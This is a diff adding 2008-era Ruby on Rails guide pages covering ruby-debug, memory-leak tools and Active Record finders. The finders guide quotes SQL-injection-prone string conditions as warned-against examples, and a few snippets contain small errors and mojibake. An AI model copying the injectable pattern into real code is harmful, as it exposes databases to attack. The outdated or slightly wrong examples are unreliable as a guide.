@recent_comments hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the next command to move on in the code:

+
+
+
(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+@recent_comments
+(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+@comments = []
+@recent_comments = []
+
+

Now you can see that the @comments relationship was loaded and @recent_comments defined because the line was executed.

+

If you want to go deeper into the stack trace you can move single steps, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.

+

3.7. Breakpoints

+

A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.

+

You can add breakpoints dynamically with the command break (or just b). There are 3 possible ways of adding breakpoints manually:

+
    +
  • +

    +break line: set breakpoint in the line in the current source file. +

    +
  • +
  • +

    +break file:line [if expression]: set breakpoint in the line number inside the file. If an expression is given it must evaluated to true to fire up the debugger. +

    +
  • +
  • +

    +break class(.|#)method [if expression]: set breakpoint in method (. and # for class and instance method respectively) defined in class. The expression works the same way as with file:line. +

    +
  • +
+
+
+
(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+
+

Use info breakpoints n or info break n to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.

+
+
+
(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10
+
+

To delete breakpoints: use the command delete n to remove the breakpoint number n. If no number is specified, it deletes all breakpoints that are currently active..

+
+
+
(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+
+

You can also enable or disable breakpoints:

+
    +
  • +

    +enable breakpoints: allow a list breakpoints or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. +

    +
  • +
  • +

    +disable breakpoints: the breakpoints will have no effect on your program. +

    +
  • +
+

3.8. Catching Exceptions

+

The command catch exception-name (or just cat exception-name) can be used to intercept an exception of type exception-name when there would otherwise be is no handler for it.

+

To list all active catchpoints use catch.

+

3.9. Resuming Execution

+

There are two ways to resume execution of an application that is stopped in the debugger:

+
    +
  • +

    +continue [line-specification] (or c): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. +

    +
  • +
  • +

    +finish [frame-number] (or fin): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. +

    +
  • +
+

3.10. Editing

+

Two commands allow you to open code from the debugger into an editor:

+
    +
  • +

    +edit [file:line]: edit file using the editor specified by the EDITOR environment variable. A specific line can also be given. +

    +
  • +
  • +

    +tmate n (abbreviated tm): open the current file in TextMate. It uses n-th frame if n is specified. +

    +
  • +
+

3.11. Quitting

+

To exit the debugger, use the quit command (abbreviated q), or its alias exit.

+

A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.

+

3.12. Settings

+

There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:

+
    +
  • +

    +set reload: Reload source code when changed. +

    +
  • +
  • +

    +set autolist: Execute list command on every breakpoint. +

    +
  • +
  • +

    +set listsize n: Set number of source lines to list by default to n. +

    +
  • +
  • +

    +set forcestep: Make sure the next and step commands always move to a new line +

    +
  • +
+

You can see the full list by using help set. Use help set subcommand to learn about a particular set command.

+
+ + + +
+Tip +You can include any number of these configuration lines inside a .rdebugrc file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
+
+

Here's a good start for an .rdebugrc:

+
+
+
set autolist
+set forcestep
+set listsize 25
+
+
+

4. Debugging Memory Leaks

+
+

A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.

+

In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.

+

4.1. BleakHouse

+

BleakHouse is a library for finding memory leaks.

+

If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.

+

To install it run:

+
+
+
sudo gem install bleak_house
+
+

Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:

+
+
+
require 'bleak_house' if ENV['BLEAK_HOUSE']
+
+

Start a server instance with BleakHouse integration:

+
+
+
RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
+
+

Make sure to run a couple hundred requests to get better data samples, then press CTRL-C. The server will stop and Bleak House will produce a dumpfile in /tmp:

+
+
+
** BleakHouse: working...
+** BleakHouse: complete
+** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
+
+

To analyze it, just run the listed command. The top 20 leakiest lines will be listed:

+
+
+
  191691 total objects
+  Final heap size 191691 filled, 220961 free
+  Displaying top 20 most common line/class pairs
+  89513 __null__:__null__:__node__
+  41438 __null__:__null__:String
+  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
+  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
+  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
+   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
+   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
+   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
+  ...
+
+

This way you can find where your application is leaking memory and fix it.

+

If BleakHouse doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.

+

4.2. Valgrind

+

Valgrind is a Linux-only application for detecting C-based memory leaks and race conditions.

+

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls malloc() but is doesn't properly call free(), this memory won't be available until the app terminates.

+

For further information on how to install Valgrind and use with Ruby, refer to Valgrind and Ruby by Evan Weaver.

+
+

5. Plugins for Debugging

+
+

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

+
    +
  • +

    +Footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate. +

    +
  • +
  • +

    +Query Trace: Adds query origin tracing to your logs. +

    +
  • +
  • +

    +Query Stats: A Rails plugin to track database queries. +

    +
  • +
  • +

    +Query Reviewer: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. +

    +
  • +
  • +

    +Exception Notifier: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +

    +
  • +
  • +

    +Exception Logger: Logs your Rails exceptions in the database and provides a funky web interface to manage them. +

    +
  • +
+
+

6. References

+ +

7. Changelog

+
+ +
    +
  • +

    +November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by Emilio Tagua +

    +
  • +
  • +

    +October 19, 2008: Copy editing pass by Mike Gunderloy +

    +
  • +
  • +

    +September 16, 2008: initial version by Emilio Tagua +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/finders.html b/vendor/rails/railties/doc/guides/html/finders.html new file mode 100644 index 00000000..88fc0f4d --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/finders.html @@ -0,0 +1,1090 @@ + + + + + Rails Finders + + + + + + + + + +
+ + + +
+

Rails Finders

+
+
+

This guide covers the find method defined in ActiveRecord::Base, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:

+
    +
  • +

    +Find records using a variety of methods and conditions +

    +
  • +
  • +

    +Specify the order, retrieved attributes, grouping, and other properties of the found records +

    +
  • +
  • +

    +Use eager loading to cut down on the number of database queries in your application +

    +
  • +
  • +

    +Use dynamic finders +

    +
  • +
  • +

    +Create named scopes to add custom finding behavior to your models +

    +
  • +
  • +

    +Check for the existence of particular records +

    +
  • +
  • +

    +Perform aggregate calculations on Active Record models +

    +
  • +
+

If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.

+
+
+

1. The Sample Models

+
+

This guide demonstrates finding using the following models:

+
+
+
class Client < ActiveRecord::Base
+  has_one :address
+  has_one :mailing_address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+
+class MailingAddress < Address
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :client, :counter_cache => true
+end
+
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+
+
+

2. Database Agnostic

+
+

Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.

+
+

3. IDs, First, Last and All

+
+

ActiveRecord::Base has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is find. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type Client.find(1) which would execute this query on your database:

+
+
+
SELECT * FROM +clients+ WHERE (+clients+.+id+ = 1)
+
+
+ + + +
+Note +Because this is a standard table created from a migration in Rail, the primary key is defaulted to id. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
+
+

If you wanted to find clients with id 1 or 2, you call Client.find([1,2]) or Client.find(1,2) and then this will be executed as:

+
+
+
SELECT * FROM +clients+ WHERE (+clients+.+id+ IN (1,2))
+
+
+
+
>> Client.find(1,2)
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
+  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+
+

Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.

+
+ + + +
+Note +If find(id) or find([id1, id2]) fails to find any records, it will raise a RecordNotFound exception.
+
+

If you wanted to find the first client you would simply type Client.first and that would find the first client created in your clients table:

+
+
+
>> Client.first
+=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
+
+

If you were running script/server you might see the following output:

+
+
+
SELECT * FROM clients LIMIT 1
+
+

Indicating the query that Rails has performed on your database.

+

To find the last client you would simply type Client.find(:last) and that would find the last client created in your clients table:

+
+
+
>> Client.find(:last)
+=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
+
+
+
+
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+
+

To find all the clients you would simply type Client.all and that would find all the clients in your clients table:

+
+
+
>> Client.all
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
+  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+
+

As alternatives to calling Client.first, Client.last, and Client.all, you can use the class methods Client.first, Client.last, and Client.all instead. Client.first, Client.last and Client.all just call their longer counterparts: Client.find(:first), Client.find(:last) and Client.find(:all) respectively.

+

Be aware that Client.first/Client.find(:first) and Client.last/Client.find(:last) will both return a single object, where as Client.all/Client.find(:all) will return an array of Client objects, just as passing in an array of ids to find will do also.

+
+

4. Conditions

+
+

The find method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.

+

4.1. Pure String Conditions

+

If you'd like to add conditions to your find, you could just specify them in there, just like Client.first(:conditions ⇒ "orders_count = 2"). This will find all clients where the orders_count field's value is 2.

+
+ + + +
+Warning +Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, Client.first(:conditions ⇒ "name LIKE %#{params[:name]}%") is not safe. See the next section for the preferred way to handle conditions using an array.
+
+

4.2. Array Conditions

+

Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like Client.first(:conditions ⇒ ["orders_count = ?", params[:orders]]). Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like Client.first(:conditions ⇒ ["orders_count = ? AND locked = ?", params[:orders], false]). In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has 2 as its value for the orders_count field and false for its locked field.

+

The reason for doing code like:

+
+
+
+Client.first(:conditions => ["orders_count = ?", params[:orders]])+
+
+

instead of:

+
+
+
+Client.first(:conditions => "orders_count = #{params[:orders]}")+
+
+

is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database as-is. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.

+
+ + + +
+Tip +For more information on the dangers of SQL injection, see the Ruby on Rails Security Guide.
+
+

If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:

+
+
+
Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date)..(params[:end_date].to_date)])
+
+

This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.

+
+
+
SELECT * FROM +users+ WHERE (created_at IN
+  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+
+

Things can get really messy if you pass in time objects as it will attempt to compare your field to every second in that range:

+
+
+
Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
+
+
+
+
SELECT * FROM +users+ WHERE (created_at IN
+  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+
+

This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:

+
+
+
Got a packet bigger than 'max_allowed_packet' bytes: _query_
+
+

Where query is the actual query used to get that error.

+

In this example it would be better to use greater-than and less-than operators in SQL, like so:

+
+
+
Client.all(:conditions =>
+  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
+
+

You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:

+
+
+
Client.all(:conditions =>
+  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
+
+

Just like in Ruby.

+

4.3. Hash Conditions

+

Similar to the array style of params you can also specify keys in your conditions:

+
+
+
Client.all(:conditions =>
+  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
+
+

This makes for clearer readability if you have a large number of variable conditions.

+
+

5. Ordering

+
+

If you're getting a set of records and want to force an order, you can use Client.all(:order ⇒ "created_at") which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using Client.all(:order ⇒ "created_at desc")

+
+

6. Selecting Certain Fields

+
+

To select certain fields, you can use the select option like this: Client.first(:select ⇒ "viewable_by, locked"). This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute SELECT viewable_by, locked FROM clients LIMIT 0,1 on your database.

+
+

7. Limit & Offset

+
+

If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:

+
+
+
Client.all(:limit => 5)
+
+

This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:

+
+
+
SELECT * FROM clients LIMIT 5
+
+
+
+
Client.all(:limit => 5, :offset => 5)
+
+

This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:

+
+
+
SELECT * FROM clients LIMIT 5, 5
+
+
+

8. Group

+
+

The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:

+
+
+
Order.all(:group => "date(created_at)", :order => "created_at")
+
+

And this will give you a single Order object for each date where there are orders in the database.

+

The SQL that would be executed would be something like this:

+
+
+
SELECT * FROM +orders+ GROUP BY date(created_at)
+
+
+

9. Read Only

+
+

Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an Active Record::ReadOnlyRecord exception. To set this option, specify it like this:

+
+
+
Client.first(:readonly => true)
+
+

If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:

+
+
+
client = Client.first(:readonly => true)
+client.locked = false
+client.save
+
+
+

10. Lock

+
+

If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.

+
+
+
Topic.transaction do
+  t = Topic.find(params[:id], :lock => true)
+  t.increment!(:views)
+end
+
+
+

11. Making It All Work Together

+
+

You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.

+
+

12. Eager Loading

+
+

Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use Client.all(:include ⇒ :address). If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include ⇒ [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:

+
+
+
Client Load (0.000383)   SELECT * FROM clients
+Address Load (0.119770)   SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (13,14))
+MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM
+  mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
+
+

The numbers 13 and 14 in the above SQL are the ids of the clients gathered from the Client.all query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called address or mailing_address on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.

+

If you wanted to get all the addresses for a client in the same query you would do Client.all(:joins ⇒ :address) and you wanted to find the address and mailing address for that client you would do Client.all(:joins ⇒ [:address, :mailing_address]). This is more efficient because it does all the SQL in one query, as shown by this example:

+
+
+
+Client Load (0.000455)   SELECT clients.* FROM clients INNER JOIN addresses
+  ON addresses.client_id = client.id INNER JOIN mailing_addresses ON
+  mailing_addresses.client_id = client.id
+
+

This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):

+
+
+
Client.all(:joins => “LEFT OUTER JOIN addresses ON
+  client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
+  client.id = mailing_addresses.client_idâ€)
+
+

When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:

+
+
+
Client.first(:include => "orders", :conditions =>
+  ["orders.created_at >= ? AND orders.created_at <= ?", Time.now - 2.weeks, Time.now])
+
+
+

13. Dynamic finders

+
+

For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called name on your Client model for example, you get find_by_name and find_all_by_name for free from Active Record. If you have also have a locked field on the client model, you also get find_by_locked and find_all_by_locked. If you want to find both by name and locked, you can chain these finders together by simply typing and between the fields for example Client.find_by_name_and_locked(Ryan, true). These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type find_by_name(params[:name]) than it is to type first(:conditions ⇒ ["name = ?", params[:name]]).

+

There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like find_or_create_by_name(params[:name]). Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for Client.find_or_create_by_name(Ryan):

+
+
+
SELECT * FROM +clients+ WHERE (+clients+.+name+ = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO +clients+ (+name+, +updated_at+, +created_at+, +orders_count+, +locked+)
+  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', '0', '0')
+COMMIT
+
+

find_or_create's sibling, find_or_initialize, will find an object and if it does not exist will call new with the parameters you passed in. For example:

+
+
+
client = Client.find_or_initialize_by_name('Ryan')
+
+

will either assign an existing client object with the name Ryan to the client local variable, or initialize new object similar to calling Client.new(:name ⇒ Ryan). From here, you can modify other fields in client by calling the attribute setters on it: client.locked = true and when you want to write it to the database just call save on it.

+
+

14. Finding By SQL

+
+

If you'd like to use your own SQL to find records a table you can use find_by_sql. The find_by_sql method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:

+
+
+
Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
+
+

find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

+
+

15. select_all

+
+

find_by_sql has a close relative called connection#select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.

+
+
+
Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
+
+
+

16. Working with Associations

+
+

When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like Client.find(params[:id]).orders.find_by_sent_and_received(true, false). Having this find method available on associations is extremely helpful when using nested controllers.

+
+

17. Named Scopes

+
+

Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.

+

17.1. Simple Named Scopes

+

Suppose want to find all clients who are male. You could use this code:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :males, :conditions => { :gender => "male" }
+end
+
+

Then you could call Client.males.all to get all the clients who are male. Please note that if you do not specify the all on the end you will get a Scope object back, not a set of records which you do get back if you put the all on the end.

+

If you wanted to find all the clients who are active, you could use this:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :active, :conditions => { :active => true }
+end
+
+

You can call this new named_scope with Client.active.all and this will do the same query as if we just used Client.all(:conditions ⇒ ["active = ?", true]). Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do Client.active.first.

+

17.2. Combining Named Scopes

+

If you wanted to find all the clients who are active and male you can stack the named scopes like this:

+
+
+
Client.males.active.all
+
+

If you would then like to do a all on that scope, you can. Just like an association, named scopes allow you to call all on them:

+
+
+
Client.males.active.all(:conditions => ["age > ?", params[:age]])
+
+

17.3. Runtime Evaluation of Named Scope Conditions

+

Consider the following code:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, :conditions => { :created_at > 2.weeks.ago }
+end
+
+

This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, 2.weeks.ago is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } }
+end
+
+

And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.

+

17.4. Named Scopes with Multiple Models

+

In a named scope you can use :include and :joins options just like in find.

+
+
+
class Client < ActiveRecord::Base
+  named_scope :active_within_2_weeks, :joins => :order,
+    lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
+end
+
+

This method, called as Client.active_within_2_weeks.all, will return all clients who have placed orders in the past 2 weeks.

+

17.5. Arguments to Named Scopes

+

If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } }
+end
+
+

This will work if you call Client.recent(2.weeks.ago).all but not if you call Client.recent. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } }
+end
+
+

This will work with Client.recent(2.weeks.ago).all and Client.recent.all, with the latter always returning records with a created_at date between right now and 2 weeks ago.

+

Remember that named scopes are stackable, so you will be able to do Client.recent(2.weeks.ago).unlocked.all to find all clients created between right now and 2 weeks ago and have their locked field set to false.

+

17.6. Anonymous Scopes

+

All Active Record models come with a named scope named scoped, which allows you to create anonymous scopes. For example:

+
+
+
class Client < ActiveRecord::Base
+  def self.recent
+    scoped :conditions => ["created_at > ?", 2.weeks.ago]
+  end
+end
+
+

Anonymous scopes are most useful to create scopes "on the fly":

+
+
+
Client.scoped(:conditions => { :gender => "male" })
+
+

Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.

+
+

18. Existence of Objects

+
+

If you simply want to check for the existence of the object there's a method called exists?. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.

+
+
+
Client.exists?(1)
+
+

The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.

+
+
+
Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+
+

The exists? method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.

+

Further more, exists takes a conditions option much like find:

+
+
+
Client.exists?(:conditions => "first_name = 'Ryan'")
+
+
+

19. Calculations

+
+

This section uses count as an example method in this preamble, but the options described apply to all sub-sections.

+

count takes conditions much in the same way exists? does:

+
+
+
Client.count(:conditions => "first_name = 'Ryan'")
+
+

Which will execute:

+
+
+
SELECT count(*) AS count_all FROM +clients+ WHERE (first_name = 1)
+
+

You can also use include or joins for this to do something a little more complex:

+
+
+
Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
+
+

Which will execute:

+
+
+
SELECT count(DISTINCT +clients+.id) AS count_all FROM +clients+
+  LEFT OUTER JOIN +orders+ ON orders.client_id = client.id WHERE
+  (clients.first_name = 'name' AND orders.status = 'received')
+
+

This code specifies clients.first_name just in case one of the join tables has a field also called first_name and it uses orders.status because that's the name of our join table.

+

19.1. Count

+

If you want to see how many records are in your model's table you could call Client.count and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use Client.count(:age).

+

For options, please see the parent section, Calculations.

+

19.2. Average

+

If you want to see the average of a certain number in one of your tables you can call the average method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.average("orders_count")
+
+

This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.

+

For options, please see the parent section, Calculations

+

19.3. Minimum

+

If you want to find the minimum value of a field in your table you can call the minimum method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.minimum("age")
+
+

For options, please see the parent section, Calculations

+

19.4. Maximum

+

If you want to find the maximum value of a field in your table you can call the maximum method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.maximum("age")
+
+

For options, please see the parent section, Calculations

+

19.5. Sum

+

If you want to find the sum of a field for all records in your table you can call the sum method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.sum("orders_count")
+
+

For options, please see the parent section, Calculations

+
+

20. Credits

+
+

Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.

+

Thanks to Mike Gunderloy for his tips on creating this guide.

+
+

21. Changelog

+
+ +
    +
  • +

    +November 8, 2008: Editing pass by Mike Gunderloy . First release version. +

    +
  • +
  • +

    +October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg +

    +
  • +
  • +

    +October 27, 2008: Fixed up all points specified in this comment with an exception of the final point by Ryan Bigg +

    +
  • +
  • +

    +October 26, 2008: Editing pass by Mike Gunderloy . First release version. +

    +
  • +
  • +

    +October 22, 2008: Calculations complete, first complete draft by Ryan Bigg +

    +
  • +
  • +

    +October 21, 2008: Extended named scope section by Ryan Bigg +

    +
  • +
  • +

    +October 9, 2008: Lock, count, cleanup by Ryan Bigg +

    +
  • +
  • +

    +October 6, 2008: Eager loading by Ryan Bigg +

    +
  • +
  • +

    +October 5, 2008: Covered conditions by Ryan Bigg +

    +
  • +
  • +

    +October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg +

    +
  • +
  • +

    +September 28, 2008: Covered first/last/all by Ryan Bigg +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/form_helpers.html b/vendor/rails/railties/doc/guides/html/form_helpers.html new file mode 100644 index 00000000..f5aabecf --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/form_helpers.html @@ -0,0 +1,638 @@ + + + + + Rails form helpers + + + + + + + + + +
+ + + +
+

Rails form helpers

+
+
+

Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.

+

In this guide we will:

+
    +
  • +

    +Create search forms and similar kind of generic forms not representing any specific model in your application; +

    +
  • +
  • +

    +Make model-centric forms for creation and editing of specific database records; +

    +
  • +
  • +

    +Generate select boxes from multiple types of data; +

    +
  • +
  • +

    +Learn what makes a file upload form different; +

    +
  • +
  • +

    +Build complex, multi-model forms. +

    +
  • +
+
